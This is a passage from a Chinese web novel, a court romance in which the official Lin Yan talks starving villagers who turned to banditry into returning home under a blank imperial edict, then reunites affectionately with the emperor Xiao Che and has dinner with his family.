原来叫他们三个到御书房是为着这件事。 不过陛下这哪里是询问?分明是已然有了决断,叫他们来,不过是走个过场,替他把这升迁的理由说得更冠冕堂皇,免得日后有人非议林砚升迁太快,揣测圣心独断。 周文方作为吏部尚书,率先沉吟开口:“陛下,林学士此番立下大功,擢升乃是理所应当,依臣愚见,翰林学士虽清贵,终究略显……超然,林学士既有实干之才,不如转入实务衙门,更能施展抱负。” 他悄悄抬眼觑了觑萧彻神色,见陛下并无不悦,便继续道:“如今六部之中,户部右侍郎一职正好出缺,林学士在洛州查案,于钱粮经济之事上已显露出过人魄力与细致,若入主户部,恰能人尽其才,且此职乃正四品,林学士由正五品翰林学士擢升至此,无人可指摘。” 赵启明立刻接话:“周尚书所言极是,户部掌天下钱粮,至关重要,正需林学士这般刚正不阿、精明干练的年轻官员。” 郑泊远抚须,缓缓点头,一副深以为然的表情:“老臣也以为,林砚可当此任,年轻人,就该多担些担子,陛下擢拔,正显朝廷赏罚分明,激励后来者。” 都是先皇尚且还在世时便在朝为官的老家伙了,对萧彻的想法还是能揣测几分的。 三人你一言我一语,瞬间就将林砚夸得天上有地下无,仿佛户部侍郎这个坑天生就是为林砚量身定做的,他不去就是大渝朝的损失。 萧彻端坐其上,听着底下三位重臣一本正经地“分析利弊”、“一致推荐”,唇角几不可察地弯了一下。 很好,流程走得非常完美。 他沉吟片刻,仿佛经过深思熟虑,最终从善如流地点头:“既然诸位爱卿皆认为林砚可堪此任,那便如此定下,拟旨吧。” “是!”三人齐声应道,心下皆明镜似的——陛下就等着这句话呢。 萧彻亲自铺开明黄诏纸,提起朱笔,略一思忖,便落笔书写。 【咨尔翰林学士林砚,性资敏慧,才识通明,恪慎持身,允协珩璜之度,忠勤奉职,克彰素丝之风,前委查案洛州,秉心公正,纾患靖民,厥功甚伟,兹特晋尔为户部右侍郎,授正四品,锡之敕命于戏!恩膺涣渥,式嘉报最之劳;赏懋勋庸,益励敬勤之志,钦此。】 写罢,他放下笔,吹干墨迹,拿起一旁沉甸甸的“皇帝之宝”玉玺,稳稳钤印。 看着那鲜红的印鉴,萧彻眼底掠过一丝满意的笑意。 只待林砚回京,便可宣旨。 然而,世事总难尽如人意。 就在萧彻揣着这份新鲜出炉的升官诏书,盘算着林砚回来后该如何“不经意”地让他知道,再欣赏一下他那可能出现的、从震惊到狂喜再到强作镇定的丰富表情时,新的消息通过金影卫的渠道送了进来。 林砚的马车队在返京途中,行至洛州邻县——一个名叫清源县的地界时,被该县县令给拦下了。 清源县令说县内有一伙山匪盘踞,原本都是活不下去的普通百姓,他不忍剿杀,想招安,可他说破了嘴皮子那些山匪也不信他,听闻林钦差在洛州雷厉风行、惩贪官安百姓,名声都传到他们这儿了,所以才大着胆子来找林砚帮忙。 林砚那性子,看着整日吐槽摆烂,实则最是心软,见不得百姓受苦,一听这情况,当即就让父母妹妹带着大部分仆役先行回京,自己带着金九和钦差卫队,调转车头,就跟那县令往清源县去了。 萧彻收到消息时,很是无奈,却也只能先将给林砚升官的圣旨放一放。 同时萧彻心里很是骄傲,这就是他喜欢的人,有能力,更有担当,心里装着大渝百姓。 只是萧彻还是担心林砚的安危,便让金一给金九传信,调附近的金影卫在暗地里保护林砚,切不可让林砚被伤着。 清源县一家还算干净的客栈里,林砚总算能瘫下来。 奔波一日,又是听县令说明情形,又是查看地形图,了解山匪情况,脑子就没停过。 洗漱完毕,林砚强撑着坐到桌边,铺开信纸。 虽然知道金影卫肯定早早把他的消息传给了萧彻,但他还是想给萧彻写封信报个平安。 原本以为正月一别顶多一个月便能相见,这下倒好,奔着两个月去了。 【臣甚是想念陛下,惟愿陛下珍重,待臣归来。】 林砚已经从最开始给萧彻写信不好意思说自己想他,到现在面不改色地写上自己的思念。 果然,脸皮这种东西都是练出来的。 写完了信交给金九,林砚这才扑到床上,抱着被子滚了半圈,望着陌生的帐顶,叹了口气。 山匪啊,也不知道好不好搞。 都是清源县的百姓,应当不难吧? 唉,怎么说呢,这事儿吧,它就是个标准的天灾人祸混合双打悲剧。 去年那场几十年不遇的大寒潮,萧彻反应迅速,赈灾银两很快拨了下来。 清源县的这位邹县令,据林砚观察,算不上什么惊天动地的能臣干吏,但至少不是陈博渊那种货色。 他拿到银子后,也是第一时间就组织人手,该买粮的买粮,该制衣的制衣,热火朝天地准备发放。 问题就出在清源县这倒霉催的地形上。 县城周边还好,偏有个叫“坳子村”的地方,窝在深山老林里头,平时出山就得绕半天,一场几十年不遇的暴雪下来,得,直接给你封得严严实实。 什么叫千山鸟飞绝,万径人踪灭? 这就叫千山鸟飞绝,万径人踪灭。 路断了,物资运不进去。 邹县令急得嘴角冒泡,第一时间就组织了民夫壮丁,顶着寒风嗷嗷叫地去抢修道路。 可这老天爷像是故意跟人作对,刚清出一点,晚上一场雪又给埋了,进度慢得让人绝望。 工程艰难,还出现了伤员,县里钱粮也吃紧,方方面面都得顾及,邹县令是焦头烂额,只能一边督促修路,一边祈祷坳子村的村民能撑到路通。 可惜,山里人的绝望,外面的人是很难完全体会的。 坳子村里的人,看着存粮一天天见底,看着柴火越来越少,看着老人扛不住冻病了、没了…… 那种被天地抛弃、叫天天不应叫地地不灵的恐惧,足以吞噬所有的理智。 他们不知道县令正在拼命抢修道路,他们只知道,说好的赈灾一直没见到影子,是不是狗官把他们忘了?还是干脆就想让他们自生自灭? 猜疑和愤怒在绝望中滋生,像野火一样蔓延。 终于,在某天又一位老人冻饿而死之后,村民的情绪爆发了。 他们红着眼睛,把一腔怨气全撒在了村中里正头上——肯定是你这厮勾结狗官,黑了我们的救命钱粮! 愤怒的村民打了里正,然后一不做二不休,横竖都是死,干脆抢了里正家那点微薄的存粮,一股脑儿跑上了山,占了易守难攻的老虎口,落草为寇,好歹山上树多,还能砍柴取暖,偶尔冒险下山“借”点粮食,也能多活几天。 等邹县令好不容易打通道路,带着物资和满腔愧疚赶到坳子村时,看到的就是十室九空、一片狼藉的村子和被打得奄奄一息的里正。 邹县令当时差点没一口老血喷出来。 可即便民已成匪,邹县令也不想出兵。 那都是他治下的百姓,是他无用才会上山的,他怎么下得去手? 邹县令一直以来的态度都是招安。 他试了,亲自跑到山底下喊话,道理说尽,承诺给粮给地既往不咎。 可山上的村民根本不信,还说谁知道邹县令是不是骗他们下去一锅端了? 事情就这么僵住了。 邹县令是左右为难,剿又不能剿,招又招不来,愁得头发都白了几根。 直到听说邻县洛州来了位钦差大臣林砚,雷厉风行地把陈博渊给办了,还把抄没的贪银用来补偿百姓,在民间赢得了极大的声望。 邹县令这才把主意打到了林砚的身上—— 作者有话说:心美哥又要多等好几天才能等到老婆回家了[狗头] 第77章 第 77 章 回去了可得好好夸夸萧彻…… 第二天天刚蒙蒙亮, 林砚打着哈欠起床,刚拉开客房的房门想看看天色,就见邹县令已经精神抖擞地候在客栈外了, 那架势, 恨不得立刻插翅飞上山。 林砚“砰”的一声关上了门。 错觉,一定是错觉。 林砚拍了拍胸口, 重新拉开房门。 哦,错觉还在。 啊不, 不是错觉。 救命……这邹县令是吃了什么牌子的兴奋剂,他不困的吗? “林大人,下官已经准备妥当,随时可以出发。”邹县令完全看不懂林砚充满困意的眼神。 “好,邹大人稍等我一下。”林砚关上门, 天色也不必看了,赶紧换衣裳。 简单扒拉了几口清汤寡水的早饭,林砚就跟着邹县令一行人出发了。 越往那山脚下走,路就越发不像话。 一开始还能勉强走个驴车,到后来,干脆就成了人走出来的小道, 陡峭不说, 还遍布碎石,一不小心就能表演摔跤的各种姿势。 林砚看着那几乎要垂直上天的山路, 眼角抽搐。 工伤,他要找萧彻报工伤。 好在,林砚还有金九和钦差卫队。 金九不愧是皇帝认证的专业人士,身手矫健得不像人类,遇到特别难走的地方, 还能顺手拎林砚一把,避免了他一路滚上山的惨剧,钦差卫队的兄弟们也是个个身手不凡,如履平地。 林砚夹在中间,突然意识到自己是一个开大的辅助,前面全靠队友带飞。 爬了不知道多久,久到林砚觉得自己快要原地蒸发,汗水湿透了里衣,黏糊糊地贴在身上,风一吹又冷得直哆嗦,嗓子眼儿里全是铁锈味。 就在他考虑要不要让大家都休息一会儿,他好喘口气之时,前方带路的当地向导终于说了句:“大人,到了,前面就是老虎口。” 林砚如闻天籁,扶着膝盖抬头一看。 这地方选得是真刁钻,一处天然形成的山坳隘口,易守难攻,旁边还垒着些粗糙的石头工事,上面隐隐约约能看到几个拿着锄头、柴刀的人影在晃动。 邹县令整理了一下官袍,深吸一口气,上前几步,扯开嗓子就开始喊:“坳子村的乡亲们!我是清源县令!我今日请来了京城的钦差大臣林大人!林大人是代表皇上来给大家解决问题的!有什么难处,都可以跟林大人说!林大人定会为大家做主!” “做主——” “主——” 邹县令喊得声嘶力竭,回音在山谷里荡来荡去。 山上那边一阵骚动,人影多了起来,交头接耳,但没人回话。 过了好一会儿,一个身材高大、皮肤黝黑、满脸络腮胡的汉子出现在工事后头,声音洪亮,带着浓浓的警惕和怀疑:“姓邹的,你少来这套!谁知道你是不是想骗我们下去,好一网打尽!” 邹县令急得直跺脚:“本官岂是那种人?这次来的是京里的大官!林大人在此!” 那被称作石大当家的汉子,目光锐利地扫向邹县令身后的林砚,见他年纪轻轻,虽然穿着官袍,但爬山上来的狼狈样还没完全褪去,脸上还带着点潮红,喘气也没那么匀,眼神里的怀疑更重了。 “钦差?就他?毛都没长齐吧?姓邹的,你随便拉个人就想糊弄我们?” 林砚:“……” 他抗议!这是人身攻击! 什么叫毛都没长齐?他是年少有为! 林砚虽然很想放下个人素质跟这个石大当家争论个你来我回,但他是来办正事的,得维持住钦差大臣的风度。 清了清嗓子,林砚压下那点喘,上前一步,声音尽量平稳温和:“这位……石大哥,本官林砚,忝为翰林学士,邹县令所言非虚,本官确是为此事而来。” 林砚目光扫过山上那些面露菜色、衣衫褴褛的村民,语气更加诚恳:“诸位乡亲,本官知道,你们落草实属无奈,是被天灾所迫,被困境所逼,朝廷并非不管不顾,去岁大雪封山,路阻难行,邹县令亦是心急如焚,日夜督促抢修道路,如今道路已通,朝廷的赈济物资一分不少,全都在县衙库中存放着,只等大家回去,立刻便能发放到各位手中!” 山上的人群安静了一些,似乎在消化他的话。 石大当家眉头紧锁,依旧不敢轻信:“你说得好听!我们怎么知道你不是和这狗官串通好了,骗我们下山?到时候刀架脖子上,还不是你们说了算!” 林砚耐着性子解释:“石大哥,若朝廷真要剿灭你们,何须本官亲自上山?调遣官兵围困,诸位又能支撑多久?本官此来,是真心实意想给大家一条生路,陛下仁德,体恤百姓疾苦,只要你们愿意下山归家,过往之事,概不追究,你们依旧是大渝的良民,可以安心耕种,休养生息。” 他顿了顿,加重了语气:“本官以项上人头担保,此言绝非虚妄,邹县令,你将县衙库房里那些物资清单,还有去岁至今抢修道路的工事记录,都给乡亲们说说。” 邹县令连忙上前,一五一十地报出粮食、棉衣、药材的数量,又详细说了何时组织民夫、修路多么艰难、伤亡了几人等等,说得是情真意切,额头冒汗。 山上的人听着,神色有所松动,交头接耳的声音更大了。 石大当家沉默了片刻,盯着林砚:“林大人,不是我们不信你,实在是这么多人的身家性命需要顾着,空口无凭,你拿什么保证?就凭你一句话?” 林砚叹气,这时候知道大家的身家性命了?落草为寇的时候怎么不想想? 幸亏邹县令不是个坏官,不然直接调兵剿匪,就村子里这么一百多号人,根本不是对手。 不下点猛料是不行了。 林砚从怀中郑重取出那面萧彻亲赐的玄铁御令,高高举起:“此乃陛下亲赐御令,见此令如陛下亲临,本官的承诺,便是陛下的承诺!陛下金口玉言,岂会欺瞒尔等?” 阳光照在那狰狞的龙纹和“御”字上,反射出令人心慑的寒光。 山上的人群发出一阵惊呼,不少人下意识地就想跪下。 石大当家也是脸色一变,眼神里多了几分敬畏,但犹豫之色仍未褪尽。 御令是真是假他们分辨不出,万一…… 他咬了咬牙,梗着脖子道:“林大人,这令牌我们们乡下人见识少,认不准,就算它是真的,万一、万一你们事后反悔咋办?我们下了山,可就任人拿捏了!” 这顾虑合情合理。 林砚看着村民们那渴望又害怕的眼神,知道他们是惊弓之鸟,一点点风险都不敢冒。 他脑子里飞快转着。 写信回京让萧彻下旨?来回又是好多天,这些村民还能不能撑住另说,他也不想再耽搁了。 他想赶紧解决这事,回京。 回京见萧彻。 一个念头闪过脑海——萧彻给他的那道空白圣旨! 当时只觉得是萧彻太过思虑,没想到真能派上用场。 他转头对金九道:“取我的官印和那道圣旨来。” 金九眼神微动,似乎想说什么,但看着林砚坚定的神色,还是沉默地从身后护卫捧着的行囊中,取出了一个黄绫包裹的长条状物件以及林砚的翰林学士官印。 所有人的目光都聚焦在那明黄色的包裹上,呼吸都屏住了。 林砚当众解开黄绫,缓缓展开那卷空白的、但盖着鲜红玉玺大印的绢帛。 山上山下,瞬间鸦雀无声,连风声似乎都停了。 邹县令腿一软,直接跪下了,钦差卫队和所有随从齐刷刷跪倒一片。 山上的村民虽然还站着,但个个面露骇然,那是对皇权最本能的敬畏。 石大当家的脸色彻底变了,嘴唇哆嗦着,看着那抹刺眼的明黄和红印,最后一点怀疑也烟消云散。 即使他是个种地的,也深知假传圣旨是多么严重的罪名,这个人不可能有这么大的胆子。 林砚手持空白圣旨,朗声道:“此乃陛下亲赐空白圣旨,予本官临机专断之权,本官现在便可在此圣旨上书写,承诺朝廷绝不追究尔等落草之事,并即刻发放所有赈济物资,助尔等重建家园,此旨一旦写下,便如陛下亲口所言,天地为证,绝无反悔!” 他目光灼灼地看向石大当家:“石大哥,如此保证,可能取信于你?取信于坳子村的每一位乡亲?” 石大当家看着那卷空白圣旨,又看看神情肃穆的林砚,最后回头看了看身后那些眼巴巴望着他的乡亲们。 他猛地一跺脚,扑通一声单膝跪地,抱拳洪声道:“林大人!我石大壮信您,信陛下!我们愿意下山!” “愿意下山!” “我们信林大人!” “谢陛下隆恩!谢林大人!” 山上瞬间爆发出激动的呼喊声,许多村民激动得热泪盈眶,互相搀扶着,就要从工事后面走出来。 林砚心里长长松了一口气,还好还好,他家陛下的圣旨相当管用。 回去了可得好好夸夸萧彻。 林砚赶紧趁热打铁,扬声道:“好!既然诸位乡亲信得过本官,那便请石大哥带几位代表,随本官下山,本官即刻书写圣旨,并监督县衙发放物资,其余乡亲,可稍作收拾,明日一早,本官派人上山,接大家一同回家!” “回家!” “我们能回家了!” “太好了!” 欢呼声在山谷间回荡,经久不息—— 作者有话说:为了庆祝我的同事战胜臭老登领导一次,今天加更!希望世界上能有多多的善良正义,少老登! 第78章 第 78 章 亲了!真的亲了!还是舌…… 林砚的马车吱呀吱呀地碾过官道, 卷起细细的尘土。 连着赶了五天的路,他觉得自己浑身的骨头都快被颠散架了,每一块肌肉都在发出哀嚎, 灵魂仿佛已经提前飘出了躯壳, 在马车顶上盘旋,哀叹着这社畜穿越了也逃不过出差的命运。 “大人, 前面就是京郊驿站了,可要歇歇脚, 用些午饭?”车辕上,充当临时车夫的金九声音一如既往地没什么起伏,但细心程度堪比金牌助理。 林砚有气无力地“嗯”了一声,声音虚得像是从嗓子眼里挤出来的:“歇……必须歇,再不停下, 我这把老骨头就不行了。” 金九:“。” 马车缓缓停靠在驿站门口。 林砚几乎是手脚并用地爬下车,脚步虚浮,眼冒金星,差点一头栽进驿站门口那半旧不新的石狮子怀里。 驿站里飘出饭菜的香气,勾得他肚子里那点可怜的存货咕咕直叫。 随便点了两样清淡小菜,一碗粳米饭, 坐在角落的条凳上, 吃得如同嚼蜡——主要是累的,味觉暂时下线。 吃完饭, 灌下去一整壶温热的粗茶,林砚才感觉自己的魂儿慢慢悠悠地晃荡了回来,重新与身体对接成功。 下午就能到京城了! 这个念头像一剂强心针,让他勉强打起精神,重新爬回了马车。 也幸好他不晕车, 否则人真的要下线不可。 车轮再次滚动,朝着京城的方向,稳健前行。 越是靠近京城,官道越发平坦,路旁的景致也从荒芜逐渐变得有了人烟气息。 初春的风还带着凉意,却已能嗅到泥土复苏的味道和新芽的清香。 林砚靠着车壁,昏昏欲睡,脑子里已经开始盘算回京后是先回家瘫倒,还是硬撑着去宫里给萧彻报个到。 哎,想萧彻,可他真的好累好累好累。 就在林砚被马车颠眼皮子打架,即将去会周公时,马车又一次缓缓停了下来。 “到了?”林砚迷迷糊糊地问,下意识掀开车帘一角往外看。 不对啊,这还没到城门呢,像是京城外十里长亭附近。 然后,他就看见金九那张没什么表情的脸转了过来,声音里似乎藏着丝丝意味深长。 “大人,您出来一下。” 林砚:“???” 啥情况?前不着村后不着店的,让他下车干嘛?集体放水吗?可他暂时没有这个需求。 虽然满腹狐疑,但基于对金九专业素养的信任,林砚还是揉着惺忪的睡眼,弯腰钻出了马车。 初春午后的阳光暖融融地洒下来,带着恰到好处的温度,让他下意识地眯了眯眼。 视线适应了光线后,他漫不经心地抬眼望去—— 就那一眼,仿佛有人在他心尖最柔软的地方,不轻不重地捏了一下,酥麻的感觉瞬间窜遍四肢百骸。 不远处,清澈的河水缓缓流淌,波光粼粼,倒映着湛蓝的天和舒卷的云。 岸边,一株姿态婀娜的垂柳刚刚抽出新芽,嫩绿的叶片像是用最上等的碧玉细心雕琢而成,在微风中轻轻摇曳,筛落一地细碎跳跃的光斑。 柳树下,一人负手而立。 那人身着一身玄色常服,衣料在阳光下流淌着低调而华贵的暗纹,墨发以一根简单的玉簪束起,几缕发丝被春风拂动,掠过线条分明的下颌。 他身姿挺拔如松,周身却并无朝堂之上的凛然威压,反而融入了这初春的景致里,显得沉静而温和。 阳光透过柳枝的缝隙,在他俊美无俦的侧脸上投下明明暗暗的光影,长而密的睫毛垂下,遮住了眼底深处的情绪,唯有那微微抿起的薄唇,泄露出一丝不易察觉的期待。 春水初生,春林初盛。 春风十里,不如……他。 林砚的心脏像是被什么东西猛地攥紧,然后又骤然松开,开始疯狂地跳动起来。 大脑一片空白,所有的疲惫、抱怨、甚至思考能力,在这一刻全都蒸发得干干净净。 眼睛里,只剩下那个站在柳树下,仿佛已等候多时的人。 萧彻。 他怎么会在这里?他什么时候来的?他是在等自己? 巨大的惊喜如同汹涌的潮水,瞬间将林砚淹没。 他甚至忘了行礼,忘了尊卑,忘了周围还有刚刚归队、眼观鼻鼻观心假装自己不存在的钦差卫队。 身体比大脑更快地做出了反应。 众目睽睽之下,只见他们那位平日里在御前还算恭谨守礼的林大人,像是被无形的线牵引着,又像是终于归巢的倦鸟,眼睛一眨不眨地盯着柳树下的帝王,然后—— 迈开腿,越走越快,最后几乎是乳燕投林般,不管不顾地、直直地扑向了那个玄色的怀抱。 萧彻似乎早有预料,在他扑来的瞬间便张开了手臂,稳稳地接住了他,甚至因为那冲力微微后退了半步,将人结结实实地拥了个满怀。 温热的体温透过衣料传来,熟悉又令人安心的沉水香气瞬间包裹了林砚。 林砚用力埋首在萧彻的颈窝,贪婪地呼吸着那带着阳光和淡淡沉水香的气息,手臂紧紧地环住萧彻的腰,仿佛要将这些时日的分离全都弥补回来。 萧彻的手臂也收得极紧,一手环住他的背,另一手轻轻按在他的后脑勺上,掌心温热。 两人就这样在初春的河畔,柳树的嫩芽之下,紧紧相拥。 周围一片寂静,只有风吹柳叶的沙沙声和河水潺潺流动的声响。 过了许久,林砚才闷闷的声音从萧彻肩头传来:“陛下怎么来了?” 萧彻低下头,下巴轻轻蹭了蹭他的发顶,声音低沉而温柔,是只有在面对他时才会有的语调:“算着时辰,你该到了,便来等等看。” 等看?从皇宫到这城外十里,可不是“等等看”的距离。 林砚心里又酸又软,抱得更紧了:“等很久了吗?” “不久。”萧彻的声音里带着笑意,“看到你,就不久了。” 土味情话突如其来,砸得林砚耳根发烫,心里却甜得像是打翻了一整罐花蜜。 林砚抬起头,眼睛亮晶晶地看着萧彻,因为刚才埋着的动作,脸颊泛着红晕,额发也有些凌乱:“萧彻,我想你了。” 直呼名讳,大胆又亲昵。 萧彻眸色一深,非但没有不悦,眼底的笑意反而更深,像是落满了星辰:“嗯,我知道。” 我也想你。每一天,每一刻。 两人又抱了一会儿,仿佛有说不完的思念要透过这紧密的拥抱传递给对方。 直到一阵略带寒意的春风吹过,林砚下意识地哆嗦了一下。 萧彻立刻察觉,松开了怀抱,却顺势握住了他微凉的手,眉头微蹙:“手这样凉,车上没备手炉?” “我手凉得快嘛……”林砚小声嘟囔,任由他握着,指尖传来的温热熨帖得他不想动弹。 “走吧,回车上。”萧彻牵着他,走向一旁那辆明显比林砚那辆马车豪华舒适不知多少倍的御用马车。 钦差卫队早已极有眼色地护卫在四周,背对着二人,形成了完美的隔离带。 金九更是早已不知隐没到了哪个角落,深藏功与名。 萧彻先扶着林砚上了马车,自己随后也跟了进去。 马车内部空间宽敞,铺着厚实柔软的毯子,角落里固定着小巧的暖炉,散发着融融暖意,小几上还温着一壶热茶,空气中弥漫着清雅的茶香和萧彻身上独有的沉水香气。 与林砚那辆一路颠簸、四面漏风的公务用车相比,这里简直是天堂。 果然人还是喜欢过好日子。 萧彻让林砚在软垫上坐好,给他倒了杯热茶塞手里暖着。 马车缓缓启动,平稳得几乎感觉不到颠簸。 萧彻却像是忽然想起了什么,掀开车帘,对驾车的侍卫低声吩咐了一句。 马车很快又停下。 萧彻亲自下车,走到那株柳树下,抬手折下了一根刚刚抽出柔软翠绿嫩芽的柳枝,这才重新回到车上。 林砚捧着茶杯,好奇地看着他:“折柳枝做什么?” “送你。”萧彻答得自然,拿着那根柳枝,骨节分明的手指灵活地翻动起来。 嫩绿的柳枝在他指尖缠绕、弯折,很快便被编成了一个精巧圆润的柳环,毛茸茸的新芽点缀其间,生机勃勃。 萧彻仔细地调整了一下形状,然后倾身,小心地将这个还带着春天气息的柳环,戴在了林砚的头上。 动作轻柔,眼神专注,仿佛在完成一件极其重要的事情。 林砚愣住了,下意识地抬手摸了摸头顶那个柔软的柳环,心跳忽然漏了一拍。 柳……便是留。 林砚抬起头,撞进萧彻深邃的眼眸中,那里面清晰地映着他的影子,以及毫不掩饰的情思。 他没有任何犹豫,猛地伸出手,再次抱住了萧彻,将脸埋在他的胸前,声音闷闷的,却充满了雀跃和坚定:“萧彻,我会一直在你身边的。” 萧彻被他这突如其来的二次投怀送抱撞得微微一怔,随即眼底漾开无比柔和的笑意,手臂收拢,回抱住他,轻轻拍了拍他的背:“好。” 得了承诺的林砚心里欢喜得冒泡,觉得只是抱着似乎还不够表达自己此刻的心情。 他从萧彻怀里抬起头,眼睛亮得惊人,脸颊红扑扑的,像是鼓足了极大的勇气,看着萧彻近在咫尺线条优美的薄唇,脑子一热,脱口而出:“萧彻,你亲我一下好不好?” 林砚说完就后悔了,脸颊爆红,眼神开始躲闪。 啊啊啊! 自己在说什么虎狼之词! 怎么就管不住这张嘴! 虽然但是……真的想亲…… 萧彻显然也没料到林砚会提出这样的要求,整个人都顿住了,看着林砚那副羞窘欲绝却又满含期待的模样,眸色骤然深得如同化不开的墨。 惊愕只是一瞬,随即而来的便是汹涌的悸动。 这样的机会,他怎么会放过? “如你所愿。”低下头,缓缓靠近。 林砚紧张得睫毛乱颤,下意识地闭上了眼睛,心脏砰砰狂跳,仿佛要从胸腔里蹦出来。 最初落在唇上的触感,轻柔得像是一片花瓣,带着试探和无比的珍视,一点点地研磨、吮吸,温热而柔软。 林砚只觉得一股电流从相贴的唇瓣瞬间窜遍全身,手脚都有些发软,不自觉地攥紧了萧彻的衣襟。 然而,这浅尝辄止的亲吻显然无法满足积压已久的思念与渴望。 萧彻的呼吸渐渐加重,揽在林砚腰后的手臂收紧,将人更深地按向自己。 原本温柔的亲吻逐渐变得深入,带着不容抗拒的力道,撬开了林砚因紧张而微抿的唇齿,长驱直入,攻城略地。 陌生又气息彻底侵占了林砚的感官,带着茶香和独属于萧彻的冷冽味道,霸道却又令人沉醉。 林砚大脑一片空白,只能生涩而被动地承受着这个越来越激烈的吻。 氧气似乎都被掠夺殆尽,他忍不住发出细微的呜咽,身体微微颤抖。 直到林砚觉得自己快要窒息,忍不住轻轻推了推萧彻的胸膛,萧彻才意犹未尽地、缓缓退开。 两人的额头相抵,呼吸交织,都有些急促。 林砚脸颊绯红,眼睫湿漉漉的,嘴唇更是被吻得红肿水润,微微张着喘息,一副被欺负狠了的模样。 萧彻眸色深沉地看着他这副情动又懵懂的样子,喉结滚动,极力克制着想要再次吻上去的冲动。 林砚缓过气来,把发烫的脸埋进萧彻怀里。 【卧槽!卧槽槽槽!】 【亲了!真的亲了!还是舌.吻!】 【原来接吻是这种感觉,麻了麻了,魂都飞了……】 【没想到啊没想到,萧彻亲起来这么会!他是不是偷偷练过方便亲我?】 萧彻听着耳边那串语无伦次、炸炸咧咧的心声,眼底掠过一丝深藏的笑意与满足,手臂却将人搂得更紧。 不好意思,无师自通,天赋异禀。 林砚缩在萧彻怀里,回味着刚才那个深入骨髓的亲吻,嘴角控制不住地向上翘。 嘿嘿,萧彻好会亲的。 马车一路平稳地驶向京城。 萧彻很想直接把人带回宫里去,好好说说话,以慰相思之苦。 但看着林砚眉宇间挥之不去的倦色,最终还是克制住了自己的私心。 “先送你回家,好好歇息,陪陪家人。”萧彻替他理了理有些凌乱的衣襟和头发,声音恢复了平日的温和,“明日再进宫不迟。” 林砚心里暖暖的,点了点头:“好。” 马车在林府大门停下。 林砚磨磨蹭蹭地不想下车,抓着萧彻的袖子,眼神里全是依依不舍。 萧彻看着他这副黏人的模样,心里软得一塌糊涂,忍不住又低头,在他额上印下一个轻柔的吻:“去吧。” 林砚这才一步三回头地下了车。 站在车下,他看着马车帘子即将放下,萧彻那张俊脸即将被隔开,心里一急,忽然又扒着车框,探身进去,飞快地在萧彻唇上又啄了一下。 “我走了!明天见!”偷袭成功,林砚丢下这句话,转身就跑,像个占了便宜怕被抓包的贼,心跳一路狂飙,脸颊红透,瞬间就溜进了府门,消失不见。 萧彻愣在车里,指尖下意识地抚过刚刚被偷袭的唇瓣,那上面似乎还残留着柔软温热的触感。 看着那落荒而逃的背影,他终是没忍住,低低地笑出声来,胸腔震动,愉悦之情溢于言表。 直到林府侧门彻底关上,萧彻才缓缓收敛笑意,吩咐道:“回宫。” 马车再次启动,车内仿佛还萦绕着那抹欢脱又甜腻的气息。 萧彻靠在车壁上,闭上眼,指尖无意识地摩挲着。 还要明日才能相见,真是漫长—— 作者有话说:心美哥终于跟老婆见面了[狗头] 第79章 第 79 章 他当上四品官了哎。…… 林砚几乎是同手同脚地挪进家门的, 脸上热度还没完全褪去,嘴角控制不住地往上翘,活像只偷吃了小鱼干满载而归的猫。 刚绕过影壁, 就差点跟他娘文韫撞个满怀。 文韫吓了一跳, 抚着胸口,看清是他, 立刻柳眉倒竖:“你这孩子,回来就回来, 鬼鬼祟祟做贼呢?脸怎么红成这样?吹风受凉了?” 说着就伸手要摸他额头。 林砚赶紧往后一缩,眼神飘忽:“没事娘,就是路上赶得急,热的,对, 热的。” 文韫将信将疑地打量他几眼,见他除了脸红外倒也没别的症状,这才放下心,转而念叨起来:“回来就好,你爹和墨儿他们都等着你呢,恪哥儿也在, 就等你开饭了, 这一路辛苦了吧?瞧你这小脸瘦的,在外头肯定没吃好……” 林砚觉得他娘太溺爱了, 他们才分开几天啊,就说他瘦了。 林砚一边嗯嗯啊啊地应付着老母亲的关怀,一边被拉着往饭厅走。 饭厅里灯火通明,菜香四溢。 林承稷正端着茶杯老神在在地坐着,林墨和文恪则凑在一起低声说着什么, 见他们进来,都抬起头。 “哥!”林墨眼睛一亮,立刻蹦了过来,“你可算回来了!清源县那边好玩吗?事情解决了吗?那些山匪吓不吓人?” 林砚被妹妹一连串的问题砸得头晕,赶紧抬手:“停停停,你哥我刚进门,气儿还没喘匀呢,让我先喝口水行不行?” 林承稷放下茶杯,咳嗽一声,拿出了家主架势:“好了墨儿,让你哥先坐下吃饭,有什么话边吃边说。” 一家子这才围着饭桌坐下。 饭菜很丰盛,显然是为了给林砚接风洗尘特意准备的,都是他爱吃的口味。 林砚奔波一路,在驿站只胡乱塞了几口,此刻闻到家里饭菜的香味,肚子立刻不争气地咕噜叫起来,也顾不上形象了,端起碗就先扒拉了几大口米饭,又连夹了好几筷子油焖春笋,吃得腮帮子都鼓了起来。 “慢点吃,没人和你抢。”文韫看得又是心疼又是好笑,连忙给他盛了碗鸡汤,“先喝口汤顺顺。” 林砚接过汤碗,呼呼吹了两下,喝了一大口,温暖的汤汁下肚,熨帖得他舒服地眯起了眼。 还是家里好啊。 林墨扒着饭碗,一双大眼睛还眨巴眨巴地看着他,显然惦记着打听清源县的消息。 林砚无奈,只好一边吃,一边将清源县的事情挑能说的说了。 “其实就是一伙活不下去的百姓,被大雪封山逼得没了办法,才躲上山,邹县令人不错,不想动武,这才求到我这儿。”林砚咽下嘴里的饭菜,“我去看了,那地方是真偏僻,路难走得要命,也难怪物资运不进去。” “那后来呢?他们肯信你吗?”林墨追问。 “起初自然是不信的,怕我是骗他们下山好抓起来。”林砚想到当时的情景,叹了口气,“好在陛下英明,提前给了我御令和空白圣旨,我把圣旨一亮,承诺既往不咎,立刻发放物资,他们这才信了,愿意下山。” 他说得轻描淡写,但桌上几人都知道,林砚肯定的受累了的。 林承稷沉吟着点头:“陛下思虑周全,御令和空白圣旨,确是安定人心的利器,此事你处理得妥当,既全了朝廷体面,也救了百姓性命,功德无量。” 文韫则更关心林砚的身体:“人都没事吧?你没受伤吧?”说着又上下打量儿子。 “没事没事,娘,我好着呢,一根头发丝都没掉。”林砚赶紧保证,“就是爬山路累得够呛。” 文韫这才彻底放心,又给他夹了只鸡腿:“没事就好,多吃点,补补。” 一直安静听着的文恪此时才开口,语气带着钦佩:“砚表弟此行,可谓仁政之举,既彰显朝廷法度,又不失抚慰之心,实在令人敬佩。” 林砚被夸得有点不好意思,挠挠头:“恪表哥过奖了,在其位谋其政,分内之事罢了。”他赶紧转移话题,“对了,恪表哥,春闱考得如何?你们那时还在洛州,也没个人照顾,我们都担心影响你发挥。” 